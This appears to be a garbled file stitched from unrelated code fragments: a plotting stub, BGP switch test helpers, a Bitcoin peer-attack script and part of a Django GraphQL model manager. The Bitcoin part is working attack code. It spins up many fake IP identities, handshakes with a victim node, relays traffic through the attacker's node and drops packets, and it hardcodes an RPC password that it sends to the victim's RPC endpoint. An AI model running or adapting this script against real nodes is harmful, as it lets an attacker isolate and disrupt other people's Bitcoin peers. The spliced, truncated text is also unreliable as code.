axes.imshow(im0, cmap=plt.cm.viridis)
callback = Rect_mpl(axes, shape)
slices2rects(slices, callback)
def imshow_results(fig, successes, shape, cluster):
import matplotlib.pyplot as plt
toshow = successes.reshape(shape)
axes = fig.add_subplot(111)
img = axes.imshow(toshow, cmap=plt.cm.viridis, interpolation="none")
fig.colorbar(img)
axes.set_xticks(np.arange(shape[1]))
axes.set_yticks(np.arange(shape[0]))
coords = np.unravel_index(np.arange(len(successes)), shape)
for idx, coord in enumerate(zip(* coords)):
color = | |
:param family:
:param mode:
:param kwargs:
:return:
"""
st.log("Configuring the BGP neighbor properties ..")
properties = kwargs
peergroup = properties.get('peergroup', None)
cli_type = get_cfg_cli_type(dut, **kwargs)
skip_error_check = kwargs.get("skip_error_check", True)
# Add validation for IPV4 / IPV6 address
config_router_bgp_mode(dut, local_asn, cli_type=cli_type)
no_form = "no" if "no_form" in properties and properties["no_form"] == "no" else ""
if cli_type == "vtysh":
if "password" in properties:
command = "{} neighbor {} password {}".format(no_form, neighbor_ip, properties["password"]).strip()
st.config(dut, command, type=cli_type)
if "keep_alive" in properties and "hold_time" in properties:
command = "{} neighbor {} timers {} {}".format(no_form, neighbor_ip, properties["keep_alive"],
properties["hold_time"])
st.config(dut, command, type=cli_type)
if "neighbor_shutdown" in properties:
command = "{} neighbor {} shutdown".format(no_form, neighbor_ip)
st.config(dut, command, type=cli_type)
if family and mode:
command = "address-family {} {}".format(family, mode)
st.config(dut, command, type=cli_type)
if "activate" in properties:
if properties["activate"]:
command = "{} neighbor {} activate".format(no_form, neighbor_ip)
st.config(dut, command, type=cli_type)
if "default-originate" in properties:
if properties["default-originate"]:
command = "{} neighbor {} default-originate".format(no_form, neighbor_ip)
st.config(dut, command, type=cli_type)
if "maximum-prefix" in properties:
command = "{} neighbor {} maximum-prefix {}".format(no_form, neighbor_ip, properties["maximum-prefix"])
st.config(dut, command, type=cli_type)
return True
elif cli_type == "klish":
commands = list()
if not peergroup:
neigh_name = get_interface_number_from_name(neighbor_ip)
if isinstance(neigh_name, dict):
commands.append("neighbor interface {} {}".format(neigh_name["type"], neigh_name["number"]))
else:
commands.append("neighbor {}".format(neigh_name))
else:
commands.append("peer-group {}".format(neighbor_ip))
if "password" in properties:
password = "" if no_form == 'no' else properties["password"]
commands.append("{} password {}".format(no_form, password))
if "keep_alive" in properties and "hold_time" in properties:
commands.append("{} timers {} {}".format(no_form, properties["keep_alive"],properties["hold_time"]))
if "neighbor_shutdown" in properties:
commands.append("{} shutdown".format(no_form))
if family and mode:
commands.append("address-family {} {}".format(family, mode))
if "activate" in properties:
commands.append("{} activate".format(no_form))
if "default-originate" in properties:
commands.append("{} default-originate".format(no_form))
if "maximum-prefix" in properties:
commands.append("{} maximum-prefix {}".format(no_form, properties["maximum-prefix"]))
commands.append("exit")
st.config(dut, commands, type=cli_type, skip_error_check=skip_error_check)
return True
else:
st.error("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return False
def delete_bgp_neighbor(dut, local_asn, neighbor_ip, remote_asn, vrf='default', cli_type="", skip_error_check=True):
"""
:param dut:
:param local_asn:
:param neighbor_ip:
:param remote_asn:
:return:
"""
cli_type = get_cfg_cli_type(dut, cli_type=cli_type)
st.log("Deleting BGP neighbor ..")
# Add validation for IPV4 / IPV6 address
config_router_bgp_mode(dut, local_asn, vrf=vrf, cli_type=cli_type)
if cli_type == "vtysh":
command = "no neighbor {} remote-as {}".format(neighbor_ip, remote_asn)
st.config(dut, command, type=cli_type, skip_error_check=skip_error_check)
elif cli_type == "klish":
commands = list()
commands.append("neighbor {}".format(neighbor_ip))
commands.append("no remote-as {}".format(remote_asn))
commands.append("exit")
commands.append("no neighbor {}".format(neighbor_ip))
commands.append("exit")
st.config(dut, commands, type=cli_type, skip_error_check=skip_error_check)
else:
st.error("UNSUPPORTE CLI TYPE -- {}".format(cli_type))
return False
return True
def change_bgp_neighbor_admin_status(dut, local_asn, neighbor_ip, operation=1, cli_type=""):
"""
:param dut:
:param local_asn:
:param neighbor_ip:
:param operation:
:return:
"""
cli_type = get_cfg_cli_type(dut, cli_type=cli_type)
st.log("Shut/no-shut BGP neighbor ..")
config_router_bgp_mode(dut, local_asn)
if cli_type == 'vtysh':
if operation == 0:
command = "neighbor {} shutdown".format(neighbor_ip)
st.config(dut, command, type=cli_type)
elif operation == 1:
command = "no neighbor {} shutdown".format(neighbor_ip)
st.config(dut, command, type=cli_type)
else:
st.error("Invalid operation provided.")
return False
elif cli_type == 'klish':
command = list()
command.append("neighbor {}".format(neighbor_ip))
if operation == 0:
command.append("shutdown")
elif operation == 1:
command.append("no shutdown")
else:
st.error("Invalid operation provided.")
return False
st.config(dut, command, type=cli_type)
else:
st.error("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return False
return True
def advertise_bgp_network(dut, local_asn, network, route_map='', config='yes', family='ipv4', cli_type="", skip_error_check=True, network_import_check=False):
"""
:param dut:
:param local_asn:
:param network:
:return:
"""
cli_type = get_cfg_cli_type(dut, cli_type=cli_type)
st.log("Advertise BGP network ..")
# Add validation for IPV4 / IPV6 address
config_router_bgp_mode(dut, local_asn, cli_type=cli_type)
mode = "" if config.lower() == 'yes' else "no"
# Gather IPv6 type using validation
if cli_type == "vtysh":
if family == 'ipv6':
command = "address-family ipv6 unicast"
st.config(dut, command, type=cli_type, skip_error_check=skip_error_check)
if route_map.lower() == '':
command = "{} network {}".format(mode, network)
else:
command = "{} network {} route-map {}".format(mode, network,route_map)
st.config(dut, command, type=cli_type, skip_error_check=skip_error_check)
elif cli_type == "klish":
commands = list()
if network_import_check:
commands.append("no network import-check")
commands.append("address-family {} unicast".format(family))
if route_map.lower() == '':
commands.append("{} network {}".format(mode, network))
commands.append("exit")
commands.append("exit")
else:
commands.append("{} network {} route-map {}".format(mode, network, route_map))
commands.append("exit")
commands.append("exit")
st.config(dut, commands, type=cli_type, skip_error_check=skip_error_check)
else:
st.error("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return False
return True
def config_bgp_network_advertise(dut, local_asn, network, route_map='', addr_family='ipv4', config='yes', cli_type="",
skip_error_check=True, network_import_check=False):
cli_type = get_cfg_cli_type(dut, cli_type=cli_type)
cfgmode = 'no' if config != 'yes' else ''
if cli_type == "vtysh":
command = "router bgp {}".format(local_asn)
command += "\n address-family {} {}".format(addr_family, "unicast")
command += "\n {} network {}".format(cfgmode, network)
if route_map != '' :
command += "route-map {}".format(route_map)
st.config(dut, command, type=cli_type)
return True
elif cli_type == "klish":
commands = list()
commands.append("router bgp {}".format(local_asn))
if network_import_check:
commands.append("no network import-check")
commands.append("address-family {} {}".format(addr_family, "unicast"))
cmd = "route-map {}".format(route_map) if route_map else ""
commands.append("{} network {} {}".format(cfgmode, network, cmd).strip())
commands.append("exit")
commands.append("exit")
st.config(dut, commands, type=cli_type, skip_error_check=skip_error_check)
return True
else:
st.error("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return False
def show_bgp_ipv4_summary_vtysh(dut, vrf='default', **kwargs):
"""
:param dut:
:return:
"""
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == "vtysh":
if vrf == 'default':
command = "show ip bgp summary"
else:
command = "show ip bgp vrf {} summary".format(vrf)
return st.show(dut, command, type='vtysh')
elif cli_type == "klish":
if vrf == 'default':
command = "show bgp ipv4 unicast summary"
else:
command = "show bgp ipv4 unicast vrf {} summary".format(vrf)
return st.show(dut, command, type=cli_type)
else:
st.log("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return []
def show_bgp_ipv6_summary_vtysh(dut, vrf='default', **kwargs):
"""
:param dut:
:return:
"""
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == "vtysh":
if vrf == 'default':
command = "show bgp ipv6 summary"
else:
command = "show bgp vrf {} ipv6 summary".format(vrf)
return st.show(dut, command, type='vtysh')
elif cli_type == "klish":
if vrf == 'default':
command = "show bgp ipv6 unicast summary"
else:
command = "show bgp ipv6 unicast vrf {} summary".format(vrf)
return st.show(dut, command, type=cli_type)
else:
st.log("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return []
def show_bgp_ipv4_summary(dut, **kwargs):
"""
:param dut:
:return:
"""
#added kwargs.update() as Klish output currently does not list RIB entries. RFE SONIC-23559
kwargs.update({"cli_type": "vtysh"})
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == "vtysh":
command = "show bgp ipv4 summary"
elif cli_type == "klish":
command = 'show bgp ipv4 unicast summary'
else:
st.log("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return []
return st.show(dut, command, type=cli_type)
def show_bgp_ipv6_summary(dut, **kwargs):
"""
:param dut:
:return:
"""
# added kwargs.update() as Klish output currently does not list RIB entries. RFE SONIC-23559
kwargs.update({"cli_type": "vtysh"})
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == "vtysh":
command = "show bgp ipv6 summary"
elif cli_type == "klish":
command = 'show bgp ipv6 unicast summary'
else:
st.log("UNSUPPORTED CLI TYPE -- {}".format(cli_type))
return []
return st.show(dut, command, type=cli_type)
def get_bgp_nbr_count(dut, **kwargs):
cli_type = get_show_cli_type(dut, **kwargs)
vrf = kwargs.get('vrf','default')
family = kwargs.get('family','ipv4')
if family == 'ipv6':
output = show_bgp_ipv6_summary_vtysh(dut, vrf=vrf, cli_type=cli_type)
else:
output = show_bgp_ipv4_summary_vtysh(dut, vrf=vrf, cli_type=cli_type)
estd_nbr = 0
for i in range(0,len(output)):
if output[i]['estd_nbr'] != '':
estd_nbr = int(output[i]['estd_nbr'])
break
return estd_nbr
def verify_ipv6_bgp_summary(dut, **kwargs):
"""
:param interface_name:
:type interface_name:
:param ip_address:
:type ip_address:
:param dut:
:type dut:
:return:
:rtype:
EX; verify_ipv6_bgp_summary(vars.D1, 'neighbor'= 'fc00:e968:6179::de52:7100')
"""
cli_type = get_show_cli_type(dut, **kwargs)
kwargs.pop("cli_type", None)
output = show_bgp_ipv6_summary(dut,cli_type=cli_type)
for each in kwargs.keys():
match = {each: kwargs[each]}
entries = filter_and_select(output, None, match)
if not entries:
st.log("{} and {} is not match ".format(each, kwargs[each]))
return False
return True
def show_bgp_neighbor(dut, neighbor_ip):
"""
:param dut:
:param neighbor_ip:
:return:
"""
#No usage in scripts, so no klish support added
command = "show bgp neighbor {}".format(neighbor_ip)
return st.show(dut, command)
def show_bgp_ipv4_neighbor_vtysh(dut, neighbor_ip=None,vrf='default', **kwargs):
"""
:param dut:
:param neighbor_ip:
:param property:
:param address_family:
:return:
"""
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == 'vtysh':
if vrf == 'default':
command = "show ip bgp neighbors"
else:
command = "show ip bgp vrf {} neighbors".format(vrf)
if neighbor_ip:
command += " {}".format(neighbor_ip)
if cli_type == 'klish':
if vrf == 'default':
command = "show bgp ipv4 unicast neighbors"
else:
command = "show bgp ipv4 unicast vrf {} neighbors".format(vrf)
if neighbor_ip:
command += " {}".format(neighbor_ip)
return st.show(dut, command, type=cli_type)
def show_bgp_ipv6_neighbor_vtysh(dut, neighbor_ip=None,vrf='default', **kwargs):
"""
:param dut:
:param neighbor_ip:
:return:
"""
cli_type = get_show_cli_type(dut, **kwargs)
if cli_type == 'vtysh':
if vrf == 'default':
command = "show bgp ipv6 neighbors"
else:
command = "show bgp vrf {} ipv6 neighbors".format(vrf)
if neighbor_ip:
command += " {}".format(neighbor_ip)
if cli_type == 'klish':
if vrf == 'default':
command = "show bgp ipv6 unicast neighbors"
else:
command = "show bgp ipv6 unicast vrf {} neighbors".format(vrf)
if neighbor_ip:
command += " {}".format(neighbor_ip)
return st.show(dut, command, type=cli_type)
def clear_ip_bgp(dut, **kwargs):
"""
:param dut:
:return:
"""
| |
<gh_stars>1-10
import threading
from bitcoin.messages import *
from bitcoin.net import CAddress
from io import BytesIO as _BytesIO
import atexit
import bitcoin
import fcntl
import hashlib
import json
import os
import random
import re
import socket
import struct
import sys
import time
if os.geteuid() != 0:
sys.exit("\nYou need to have root privileges to run this script.\nPlease try again, this time using 'sudo'. Exiting.\n")
# Specify the attacker's genuine IP
attacker_ip = '\n10.0.2.' + str(int(input('Attacker IP = 10.0.2.X, what is X? ')))
attacker_port = 8333
# Specify the victim's IP, and port (8333 for Bitcoin)
victim_ip = '10.0.2.' + str(int(input('Victim IP = 10.0.2.X, what is X? ')))
victim_port = 8333
# How many identities should run simultaneously
num_identities = int(input('How many identities would you like? '))
percentage_to_drop = float(input(f'What is the packet drop rate (0 to 1)? '))
seconds_delay = { # -1 to drop the packet
'version': -1,
'verack': -1,
'addr': 0,
'inv': 0,
'getdata': 0,
'merkleblock': 0,
'getblocks': 0,
'getheaders': 0,
'tx': 0,
'headers': 0,
'block': 0,
'getaddr': 0,
'mempool': 0,
'ping': 0,
'pong': 0,
'notfound': 0,
'filterload': 0,
'filteradd': 0,
'filterclear': 0,
'sendheaders': 0,
'feefilter': 0,
'sendcmpct': 0,
'cmpctblock': 0,
'getblocktxn': 0,
'blocktxn': 0,
'reject': 0,
'undocumented': 0
}
identity_interface = [] # Keeps the IP alias interface and IP for each successful connection
identity_address = [] # Keeps the IP and port for each successful connection
identity_socket = [] # Keeps the socket for each successful connection
identity_mirror_socket = [] # The mirrored internal connections to Bitcoin Core
# The file where the iptables backup is saved, then restored when the script ends
#iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules'
# Keeps track of all threads
threads = []
# Send commands to the Linux terminal
def terminal(cmd):
return os.popen(cmd).read()
# Send commands to the Bitcoin Core Console
def bitcoin(cmd):
return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=kZIdeN4HjZ3fp9Lge4iezt0eJrbjSi8kuSuOHeUkEUbQVdf09JZXAAGwF3R5R2qQkPgoLloW91yTFuufo7CYxM2VPT7A5lYeTrodcLWWzMMwIrOKu7ZNiwkrKOQ95KGW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read()
# Send commands to the Victim's Bitcoin Core Console
def bitcoinVictim(cmd):
return os.popen('curl --data-binary \'{"jsonrpc":"1.0","id":"curltext","method":"' + cmd + '","params":[]}\' -H \'content-type:text/plain;\' http://cybersec:kZIdeN4HjZ3fp9Lge4iezt0eJrbjSi8kuSuOHeUkEUbQVdf09JZXAAGwF3R5R2qQkPgoLloW91yTFuufo7CYxM2VPT7A5lYeTrodcLWWzMMwIrOKu7ZNiwkrKOQ95KGW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame@' + victim_ip + ':8332').read()
# Generate a random identity using the broadcast address template
def random_ip():
# By forcing the IP to be above a certain threshhold, it prevents a lot of errors
minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1
while(True):
ip = broadcast_address
old_ip = ''
while(old_ip != ip):
old_ip = ip
ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1)
# Don't accept already assigned IPs
if ip == default_gateway: continue
if ip == victim_ip: continue
if ip not in [x[0] for x in identity_address]: break
return ip
#return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}'
# Checking the internet by sending a single ping to Google
def internet_is_active():
return os.system('ping -c 1 google.com') == 0
# If all else fails, we can use this to recover the network
def reset_network():
print('Resetting network...')
terminal(f'sudo ifconfig {network_interface} {attacker_ip} down')
terminal(f'sudo ifconfig {network_interface} {attacker_ip} up')
# Create an alias for a specified identity
def ip_alias(ip_address):
global alias_num
print(f'Setting up IP alias {ip_address} on {network_interface}')
interface = f'{network_interface}:{alias_num}'
terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up')
alias_num += 1
return interface
# Construct a version packet using python-bitcoinlib
def version_packet(src_ip, dst_ip, src_port, dst_port):
msg = msg_version(bitcoin_protocolversion)
msg.nVersion = bitcoin_protocolversion
msg.addrFrom.ip = src_ip
msg.addrFrom.port = src_port
msg.addrTo.ip = dst_ip
msg.addrTo.port = dst_port
# Default is /python-bitcoinlib:0.11.0/
msg.strSubVer = bitcoin_subversion.encode() # Look like a normal node
return msg
# Construct a ping packet using python-bitcoinlib
def ping_packet():
msg = msg_ping(bitcoin_protocolversion)
msg.nonce = random.getrandbits(32)
return msg
# Close a connection
def close_connection(socket, ip, port, interface):
successful = True
try:
socket.close()
except: successful = False
terminal(f'sudo ifconfig {interface} {ip} down')
if socket in identity_socket: identity_socket.remove(socket)
del socket
if interface in identity_interface: identity_interface.remove(interface)
if (ip, port) in identity_address: identity_address.remove((ip, port))
print(f'Successfully closed connection to ({ip} : {port})')
# Creates a fake connection to the victim
def make_fake_connection(src_ip, dst_ip, verbose=True, attempt_number = 0):
if attempt_number == 0: return
src_port = random.randint(1024, 65535)
dst_port = victim_port
print(f'Creating fake identity ({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...')
interface = ip_alias(src_ip)
identity_interface.append(interface)
if verbose: print(f'Successfully set up IP alias on interface {interface}')
if verbose: print('Resulting ifconfig interface:')
if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\n')
#if verbose: print('Setting up iptables configurations')
#terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK -j DROP')
#terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP')
#terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN -j DROP')
#terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST -j DROP')
if verbose: print('Creating network socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if verbose: print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
while success == -1:
print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
if verbose: print(f'Binding socket to ({src_ip} : {src_port})...')
s.bind((src_ip, src_port))
except:
print('Failed to bind ip to victim')
time.sleep(1)
close_connection(s, src_ip, src_port, interface)
time.sleep(10)
rand_ip = random_ip()
create_task(False, 'Creating fake identity: ' + rand_ip, make_fake_connection, rand_ip, dst_ip, True, attempt_number - 1)
return
if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...')
try:
s.connect((dst_ip, dst_port))
except:
print('Failed to connect to victim')
time.sleep(1)
close_connection(s, src_ip, src_port, interface)
time.sleep(10)
rand_ip = random_ip()
create_task(False, 'Creating fake identity: ' + rand_ip, make_fake_connection, rand_ip, dst_ip, True, attempt_number - 1)
return
temp_listener = None
try:
# Send version packet
version = version_packet(src_ip, dst_ip, src_port, dst_port)
s.sendall(version.to_bytes())
# Get verack packet
verack = s.recv(1924)
# Send verack packet
verack = msg_verack(bitcoin_protocolversion)
s.sendall(verack.to_bytes())
# Get verack packet
verack = s.recv(1024)
if verbose: print(f'Attaching temporary packet listeners to {interface}')
temp_listener = create_task(True, 'Temp victim identity ' + src_ip, temp_sniff, s, None, src_ip, src_port, dst_ip, dst_port, interface)
# Send a ping
#s.sendall(ping_packet().to_bytes())
except:
print('Failed to send packets to victim')
time.sleep(1)
if temp_listener != None: temp_listener.stop()
close_connection(s, src_ip, src_port, interface)
time.sleep(10)
rand_ip = random_ip()
create_task(False, 'Creating fake identity: ' + rand_ip, make_fake_connection, rand_ip, dst_ip, True, attempt_number - 1)
return
if verbose: print('Connection successful!')
identity_address.append((src_ip, src_port))
identity_socket.append(s)
mirror_socket = mirror_make_fake_connection(interface, src_ip, verbose)
if mirror_socket != None:
identity_mirror_socket.append(mirror_socket)
# Listen to the connections for future packets
if mirror_socket != None:
if verbose: print(f'Attaching packet listeners to {interface}')
if temp_listener != None: temp_listener.stop()
create_task(True, 'Victim identity ' + src_ip, sniff, s, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface)
create_task(True, 'Mirror identity ' + src_ip, mirror_sniff, mirror_socket, s, src_ip, src_port, dst_ip, dst_port, interface)
# Reconnect a peer
def reconnect(the_socket, other_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff_func):
close_connection(the_socket, src_ip, src_port, interface)
close_connection(other_socket, dst_ip, dst_port, interface)
#make_fake_connection(src_ip = random_ip(), dst_ip, verbose=True, attempt_number = 3)
time.sleep(1)
try:
# With attempt_number == -1, it will retry to connect infinitely
make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip, verbose = True, attempt_number = -1)
except ConnectionRefusedError:
print('Connection was refused. The victim\'s node must not be running.')
# Creates a fake connection to the victim
def mirror_make_fake_connection(interface, src_ip, verbose=True):
src_port = random.randint(1024, 65535)
dst_ip = attacker_ip
dst_port = 8333
print(f'Creating mirrored identity ({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...')
if verbose: print('Creating network socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if verbose: print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
while success == -1:
print(f'Setting socket network interface to "{network_interface}"...')
success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8'))
if verbose: print(f'Binding socket to ({src_ip} : {src_port})...')
s.bind((src_ip, src_port))
if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...')
try:
s.connect((dst_ip, dst_port))
except:
print('Failed to connect to our mirrored node')
return None
# Send version packet
version = version_packet(src_ip, dst_ip, src_port, dst_port)
s.sendall(version.to_bytes())
# Get verack packet
verack = s.recv(1924)
# Send verack packet
verack = msg_verack(bitcoin_protocolversion)
s.sendall(verack.to_bytes())
# Get verack packet
verack = s.recv(1024)
# Send a ping
#s.sendall(ping_packet().to_bytes())
if verbose: print('Mirrored connection successful!')
return s
# Same as sniff, but doesn't disconnect after stopping
def temp_sniff(thread, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface):
while not thread.stopped():
try:
packet, address = socket.recvfrom(65565)
create_task(True, 'Process temp packet ' + src_ip, packet_received, thread, packet, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff)
except: time.sleep(1)
def sniff(thread, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface):
global closingApplication
while not thread.stopped():
try:
packet, address = socket.recvfrom(65565)
create_task(True, 'Process packet ' + src_ip, packet_received, thread, packet, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff)
except: time.sleep(1)
#reconnect(socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff)
if not closingApplication:
create_task(False, 'Reconnecting ' + victim_ip, reconnect, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff)
#close_connection(socket, dst_ip, dst_port, interface)
def mirror_sniff(thread, socket, orig_socket, src_ip, src_port, dst_ip, dst_port, interface):
global closingApplication
while not thread.stopped():
try:
packet, address = socket.recvfrom(65565)
if random.random() >= percentage_to_drop:
create_task(True, 'Process mirror packet ' + src_ip, mirror_packet_received, thread, packet, socket, orig_socket, src_ip, src_port, dst_ip, dst_port, interface, mirror_sniff)
else:
pass # Dropped packet
except: time.sleep(1)
#reconnect(socket, orig_socket, src_ip, src_port, dst_ip, dst_port, interface, mirror_sniff)
if not closingApplication:
create_task(False, 'Reconnecting ' + victim_ip, reconnect, socket, orig_socket, src_ip, src_port, dst_ip, dst_port, interface, mirror_sniff)
#close_connection(socket, src_ip, src_port, interface)
# Called when a packet is sniffed from the network
# Return true to end the thread
def packet_received(thread, parent_thread, packet, socket, mirror_socket, src_ip, src_port, dst_ip, dst_port, interface, sniff_func):
if parent_thread.stopped(): return
from_ip = dst_ip
from_port = dst_port
to_ip = src_ip
to_port = src_port
if len(packet) >= 4:
is_bitcoin = (packet[0:4] == b'\xf9\xbe\xb4\xd9')
else:
is_bitcoin = False
if is_bitcoin and len(packet) >= 4+12+4+4:
msg_type = packet[4 : 4+12].split(b"\x00", 1)[0].decode()
payload_length = struct.unpack(b'<i', packet[4+12 : 4+12+4])[0]
payload_checksum = hashlib.sha256(hashlib.sha256(packet[4+12+4+4 : 4+12+4+4+payload_length]).digest()).digest()[:4]
payload_valid = (packet[4+12+4 : 4+12+4+4] == payload_checksum)
payload_length_valid = (len(packet) - payload_length == 4+12+4+4)
# The payload is packet[4+12+4+4:4+12+4+4+payload_length] but we'll let MsgSerializable.from_bytes decode it
else:
msg_type = ''
payload_length = 0
payload_valid = False
payload_length_valid = False
if not is_bitcoin: return
if not payload_valid: return
if not payload_length_valid: return
# Relay Bitcoin packets that aren't from the victim
print(f'*** Victim message received ** {from_ip} --> {to_ip} ** {msg_type}')
if msg_type == 'ping':
if socket == None: return # If the destination socket | |
"""
Definition of `DjangoModelManager` class.
"""
import django.db
import django.db.models
import django.db.transaction
from django.conf import settings
try:
import django.contrib.postgres.fields
WITH_POSTGRES_SUPPORT = True
except ImportError:
WITH_POSTGRES_SUPPORT = False
import django.core.exceptions
from .. import graphql_types
from .. import convert
from .. import exceptions
from ..operations import Operation
from ._manager import ModelManager
from ._fields import FieldsInfo, ForeignField, RelatedField
class DjangoModelManager(ModelManager):
"""
ModelManager class for Django ORM.
"""
# metadata extraction
def get_fields_info(self):
# pylint: disable=W0212 # Access to a protected member _meta of a client class
"""
Retrieve fields info for a given Django model.
"""
# initialize result
fields_info = FieldsInfo()
# primary key
fields_info.primary = self.orm_model._meta.pk.name
# value & foreign fields_info
for field in self.orm_model._meta.fields:
# is it mandatory?
if not field.blank:
fields_info.mandatory |= {field.name, field.attname}
# is it a foreign key?
if isinstance(field, django.db.models.fields.related.ForeignKey):
# field to which the foreign key is referring
related_field = field.foreign_related_fields[0]
# value field
fields_info.value[field.attname] = self._to_graphql_type_from_field(related_field)
# foreign field
fields_info.foreign[field.name] = ForeignField(
orm_model = related_field.model,
field_name = field.name,
value_field_name = field.attname)
# if not, it is a regular value field
else:
# value field
fields_info.value[field.name] = self._to_graphql_type_from_field(field)
# can it serve as a unique identifier?
if field.unique:
fields_info.unique[field.attname] = fields_info.value[field.attname]
# related fields_info
for related in self.orm_model._meta.related_objects:
fields_info.related[related.name] = RelatedField(
orm_model = related.related_model,
field_name = related.field.name,
value_field_name = related.field.attname)
# return result
return fields_info
# CRUD operations on ORM model instances
def create_one(self, authenticated_user, graphql_path, graphql_selection=None, **data):
# related things
related_data = {}
for field_name in list(data.keys()):
if field_name in self.fields_info.foreign:
foreign_field = self.fields_info.foreign[field_name]
foreign_model_config = self.model_config.schema.get_model_config(
orm_model = foreign_field.orm_model)
foreign_model_config.orm_model_manager.create_one(
authenticated_user = authenticated_user,
graphql_path = graphql_path + [field_name],
**data.pop(field_name))
elif field_name in self.fields_info.related:
related_data[field_name] = data.pop(field_name)
# extract data for custom fields
custom_fields_data = self._extract_custom_fields_data(
operation = Operation.CREATE,
data = data)
# instance itself
instance = self.orm_model(**data)
# custom fields definition
self._create_or_update_custom_fields(
instance = instance,
authenticated_user = authenticated_user,
data = custom_fields_data)
# enforce permissions & save
self.model_config.enforce_permissions(
operation = Operation.CREATE,
instance = instance,
authenticated_user = authenticated_user,
graphql_path = graphql_path,
)
instance.save()
# related data
for field_name, children_data in related_data.items():
for related_index, related_data in enumerate(children_data):
related_field = self.fields_info.related[field_name]
related_data[related_field.value_field_name] = instance.pk
related_model_config = self.model_config.schema.get_model_config(
orm_model = related_field.orm_model)
related_instance = related_model_config.orm_model_manager.create_one(
authenticated_user = authenticated_user,
graphql_path = graphql_path + [related_index, field_name],
**related_data)
getattr(instance, field_name).add(related_instance)
# validation
try:
instance.full_clean()
except django.core.exceptions.ValidationError as exception:
self._reraise_validation_error(graphql_path, exception)
# result
if graphql_selection is None:
return instance
return self._instance_to_dict(
authenticated_user = authenticated_user,
instance = instance,
graphql_selection = graphql_selection,
graphql_path = graphql_path,
enforce_permissions = True,
)
def read_one(self, authenticated_user, graphql_path, graphql_selection, **filters):
instance = self._read_one(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user,
**filters
)
return self._instance_to_dict(
authenticated_user = authenticated_user,
instance = instance,
graphql_selection = graphql_selection,
graphql_path = graphql_path,
enforce_permissions = True,
)
def read_many(self, authenticated_user, graphql_path, graphql_selection, **filters):
return [
self._instance_to_dict(
authenticated_user = authenticated_user,
instance = instance,
graphql_selection = graphql_selection,
graphql_path = graphql_path,
enforce_permissions = False,
)
for instance in self._read(
graphql_selection = graphql_selection,
authenticated_user = authenticated_user,
**filters
).all()
if self.model_config.check_permissions(
operation = Operation.READ,
instance = instance,
authenticated_user = authenticated_user,
)
]
def update_one(self, authenticated_user, graphql_path, graphql_selection=None,
_=None, **filters):
# variable that contains new data
data = _ or {}
# retrieve the instance to update
instance = self._read_one(
graphql_selection = graphql_selection or {},
authenticated_user = authenticated_user,
**filters
)
# related things
related_data = {}
for field_name in list(data.keys()):
# foreign fields
if field_name in self.fields_info.foreign:
child_data = data.pop(field_name)
# if child_data is null, the reference will be deleted
if child_data is not None:
child_model_config = self.model_config.schema.get_model_config(
orm_model = self.fields_info.foreign[field_name].orm_model)
child_identifier = child_data.pop(
child_model_config.orm_model_manager.fields_info.primary, None)
# if no identifier provided, create a new instance
if child_identifier is None:
data[field_name] = child_model_config.orm_model_manager.create_one(
